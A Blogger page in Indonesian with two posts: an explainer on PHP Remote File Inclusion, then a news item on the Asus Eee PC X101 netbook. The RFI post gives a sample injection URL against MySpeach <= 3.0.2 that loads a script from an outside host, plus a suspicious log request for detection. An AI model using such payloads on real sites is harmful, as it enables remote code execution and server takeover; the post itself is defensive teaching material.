Penjelasan Tentang Remote File Inclusion (RFI)

<div style="text-align: justify;"><img alt="RFI cara hacker Remote server" border="0" id="BLOGGER_PHOTO_ID_5663571194007240994" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_h0EWRhOugaHx6gQvL9vQk-nzQ4agbaCcEzgpYQ0FaPwUA2higgf0ivyfQQ5qFyFNRKL-y7Bx_XwwFbTqlHsvNuFibVEtM63aqZR-BT3dGbnKYmzb4OL47yfy5VXjLPIyTOEFjkJL_Go8/s320/hacker.jpg" style="float: left; margin: 0pt 10px 10px 0pt; cursor: pointer; width: 244px; height: 183px;" /><a href="http://sicopas.blogspot.com/2011/10/penjelasan-tentang-remote-file.html"><span style="font-weight: bold;">Remote file inclusion</span></a> dapat diartikan sebagai penyisipan sebuah file dari luar suatu file dalam sebuah webserver dengan tujuan script didalam akan dieksekusi pada saat file yang disisipi di-load. Tehnik ini sendiri mengharuskan webserver yang bersangkutan mampu menjalankan server side scripting (PHP, ASP, etc) serta file yang disisipi dibuat menggunakan bahasa script tersebut. Target remote file inclusion biasanya berbentuk sebuah portal atau content management system (CMS) sehingga banyak sekali jumlah website yang rawan terhadap serangan tipe ini. Dalam artikel ini kita akan lebih banyak membahas bagaimana proses file inclusion (yang selanjutnya kita sebut dengan istilah `injeksi') bisa terjadi dalam bahasa PHP.<a name="more"></a><br /></div><br /><div align="justify"><span style="font-size:130%;"><span style="font-weight: bold;">BAGAIMANA BISA TERJADI?</span></span><br /><br /></div><div align="justify">Sebuah serangan file inclusion terjadi didasarkan pada kesalahan atau ketidaksengajaan pendeklarasian variabel-variabel dalam sebuah file. Sebuah variabel yang tidak dideklarasikan atau didefinisikan secara benar dapat di eksploitasi. Syarat terjadinya injeksi sendiri terdiri dari:<br /><br />1. Variabel yang tidak dideklarasikan dengan benar (unsanitized variables). Variabel dalam PHP mempunyai sintaks:</div><blockquote><code class="bbc_code">#1 include ($namavariable. "/file…")</code></blockquote><blockquote><code class="bbc_code">;</code></blockquote><blockquote><code class="bbc_code">#2 require_once ($namavariable. "/file…")</code></blockquote><blockquote><code class="bbc_code">;</code></blockquote><blockquote><code class="bbc_code">#3 include_once ($variable. "/file…")</code></blockquote><blockquote><code class="bbc_code">;</code></blockquote>Misalnya kita memiliki sebuah file bernama jscript.php dan didalamnya terdapat variabel seperti ini:<br /><br /><span class="phpcode"><span style="color:black;"><span style="color:#0000bb;"><br /></span><span style="color:#007700;"><!--?</span--><span style="color:#0000bb;">php</span><span style="color:#007700;">include(</span><span style="color:#0000bb;">$my_ms</span><span style="color:#007700;">[</span><span style="color:#dd0000;">"root"</span><span style="color:#007700;">].</span><span style="color:#dd0000;">'/error.php'</span><span style="color:#007700;">);</span><span style="color:#0000bb;">?></span></span></span><br /><br />Variabel tersebut memiliki kemungkinan untuk disisipi file dari luar webserver dengan eksploit script injeksi PHP:<br /><br /><blockquote><code class="bbc_code">http://www.target.com/[Script</code></blockquote><blockquote><code class="bbc_code">Path]/jscript.php?my_ms[root]=http://www.injek-pake-kaki.com/script?</code></blockquote><br />Diatas adalah contoh eksploitasi MySpeach < = v3.0.2 (my_ms[root])<br /><b><br />2. Setting dalam file PHP.ini</b><br />jika anda memakai xampp php.ini terdapat di /xampp/php/php.ini<br /><br /><blockquote><code class="bbc_code">#1. register_globals=On</code></blockquote><blockquote><code class="bbc_code">#2. magic_quotes=off</code></blockquote><blockquote><code class="bbc_code">#3. allow_fopenurl=on</code></blockquote></span><div style="text-align: justify;"><span class="phpcode"><b>BERBAHAYAKAH?</b></span><br /><span class="phpcode">File inclusion memiliki level resiko tinggi (High Risk) bahkan level sangat berbahaya (Very Dangerous) karena injeksi memperkenankan pelakunya untuk melakukan eksekusi perintah jarak jauh (Remote Commands Execution) terhadap server. Tindakan ini sangat membahayakan bagi sebuah server jika pelakunya mencoba untuk mendapatkan hak akses lebih tinggi dengan cara melakukan eksploitasi lokal, sehingga bisa saja pelaku mendapatkan akses administrator atau root.</span><br /></div><span class="phpcode"><br /></span><div style="text-align: justify;"><span class="phpcode">Secara garis besar resiko serangan ini adalah:</span><br /><br /><span class="phpcode">1. Web root folder / subdirectory defacing.</span><br /><span class="phpcode">2. Previledge escalation (mendapatkan hak akses lebih tinggi).</span><br /><span class="phpcode">3. Menjalankan proses dalam server (psyBNC, bots, dsb)</span><br /><span class="phpcode">4. Pilfering a.k.a pencurian data (such as credentials information, credit cards, etc..)</span><br /><span class="phpcode">5. Dan banyak lagi...!!! Termasuk tindakan pengambilalihan server dan ddos!</span><br /><br /><span class="phpcode"><b>SISTEM OPERASI APA YANG KEBAL?</b></span><br /><span class="phpcode">Saya teringat permainan C&C Generals (my fave game!) saat seorang hacker keluar dari barak. Mereka mengucapkan "NO SYSTEMS IS SAFE!". Tepat sekali! Tidak ada sistem operasi yang aman dari serangan injeksi selama mereka menggunakan server side scripting yang dapat dieksploitasi, tak peduli apakah itu Microsoft Windows, LINUX, FreeBSD, Solaris, Darwin OS, dan lain-lainnya.</span><br /></div><span class="phpcode"><br /><b>APA YANG HARUS DILAKUKAN?</b><br />Banyak sekali portal dan komunitas white hat yang sering merilis bugs terbaru seputar injeksi. Cara paling aman adalah selalu memperhatikan perkembangan yang mereka lakukan sehingga anda dapat melakukan sedikit perbaikan yang berarti terhadap CMS yang mungkin sekarang anda gunakan. Selalu perhatikan raw log yang biasanya terdapat pada layanan hosting anda. Jika terdapat fetching yang agak menyimpang seperti :<br /><br /><blockquote><code class="bbc_code">GET /index.php?page=http://www.target.com/cmd?</code></blockquote></span><div style="text-align: justify;"><span class="phpcode"> anda wajib curiga,</span><br /><span class="phpcode">karena bisa saja ini serangan terhadap web atau portal yang anda kelola.</span><br /><br /><span class="phpcode">Salah satu tehnik paling aman bagi seorang administrator adalah selalu memperhatikan usaha-usaha infiltrasi dan usaha eksploitasi lokal. Gunakan firewall guna mencegah penyusupan orang-orang yang tidak bertanggung jawab dan memperhatikan port-port server yang sedang terbuka.</span><br /><br /><span class="phpcode">Demikian artikel saya hari ini. :D</span><br /><span class="phpcode">Maaf jika saya masih copas. Bukannya tidak mau berusaha. Saya juga masih belajar. dan apa yang saya share adalah apa yang sedang saya pelajari. Bukan keinginan ingin dipanggil master atau apapun. terima kasih</span></div>

Remote file inclusion dapat diartikan sebagai penyisipan sebuah file dari luar suatu file dalam sebuah webserver dengan tujuan script did...

/* -- continue -- */

0 komentar

Asus Eee PC X101, Netbook Tertipis di Dunia

<div style="text-align: justify;"><img alt="Harga dan spesifikasi Asus Eee PC X101 Model terbaru netbook tertipis" border="0" id="BLOGGER_PHOTO_ID_5652415373952172082" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_l2PqgQxPPtXOSHtYTaysAEcZzJL36CZeSi5mw18XnzJ9vF4-sRc-cl7ja0Gi6bJpy_tAdTBTH7rJKaGKYCxi6DBUWs9LnIwqpSm6i0iv8UEqNasoHN9ouIdmBtfO9RWVywkp8YRF-1uS/s320/Specs+asus-eee-pc-x101_300_225.jpg" style="float: left; margin: 0pt 10px 10px 0pt; cursor: pointer; width: 298px; height: 224px;" />Pecinta netbook Asus sepertinya harus tahu dan bangga kalau Asus mengeluarkan netbook yang di klaim sebagai <a href="http://sicopas.blogspot.com/2011/09/asus-eee-pc-x101-netbook-tertipis-di.html"><span style="font-weight: bold;">netbook tertipis di dunia</span></a>. Menyadari bahwa kenyamanan dalam berkoneksi merupakan hal yang sangat menetukan, Asus meluncurkan produk terbarunya, Eee PC 101. Produk ini diklaim merupakan netbook tertipis dan teringan di dunia dengan ketebalan 14,5 mm dan berat 920 gram.<br /></div><div style="text-align: justify;"><br />Kemasan yang simpel, dengan layar 10,1 inci (1024x600) seperti ini disebut-sebut sangat menunjang pengguna dalam berkoneksi.<br /><br />Dilengkapi dengan sistem operasi MeeGo yang dikembangkan oleh Intel, Asus Eee PC X101 memungkinkan pengguna terhubung dengan internet melalui antarmuka yang nyaman digunakan. Adapun prosesor single core Atom N435 kecepatan 1,33GHz, memori DDR3 1GB dan Solid State Drive 8GB disediakan untuk pemrosesan dan penyimpanan data.<br /><br />Sebagai contoh, jejaring sosial seperti Facebook dan Twitter bisa langsung terintegrasi di tampilan desktop. Pengguna dapat langsung melihat update status mereka secara langsung.<br /><br />“Pengguna dapat terintegrasi secara mudah dengan instant message, seperti MSN, AIM, Gchat, dan Yahoo,” terang Melton Ciputra, Product Manager ASUS Indonesia.<br /><br />Dengan sebutan <a href="http://sicopas.blogspot.com/2011/09/asus-eee-pc-x101-netbook-tertipis-di.html">Asus Eee PC X101, Netbook Tertipis di Dunia</a>, Melton mengklaim, pengguna semakin dimanjakan dengan service cloud computing. “Di dalam ada aplikasi Dropbox, yakni suatu media penyimpanan model cluod yang memungkinkan pengguna untuk menyimpan file secara online,” ucapnya. “Penyimpanan file semua online. Di mana saja kita bisa akses,” ujarnya.<br /><br />Dengan storage Dropbox ini, kata Melton, pengguan juga dijamin aman dari kehilangan data karena terdapat enkripsi data. “Data Anda bisa juga di share, tapi terbatas pada orang-orang tertentu,” tambahnya. “Selain itu produk ini juga dilengkapi dengan Asus Store, seperti Android Market,” ucap Melton.<br /><br />Asus Indonesia menargetkan penjualan hingga 60 ribu unit hingga akhir tahun ini. Adapun produk ini sendiri ditargetkan pada generasi muda yang sangat bergantung pada jejaring sosial secara mobile.<br /><br />Sebagai layanan purna jual, Eee PC X101 dilengkapi dengan garansi selama 1 tahun. Pengguna yang berminat bisa memilikinya dengan harga yang cukup terjangkau, yakni US$199, atau sekitar Rp1,7 juta.</div>

Pecinta netbook Asus sepertinya harus tahu dan bangga kalau Asus mengeluarkan netbook yang di klaim sebagai netbook tertipis di dunia . Meny...

/* -- continue -- */

0 komentar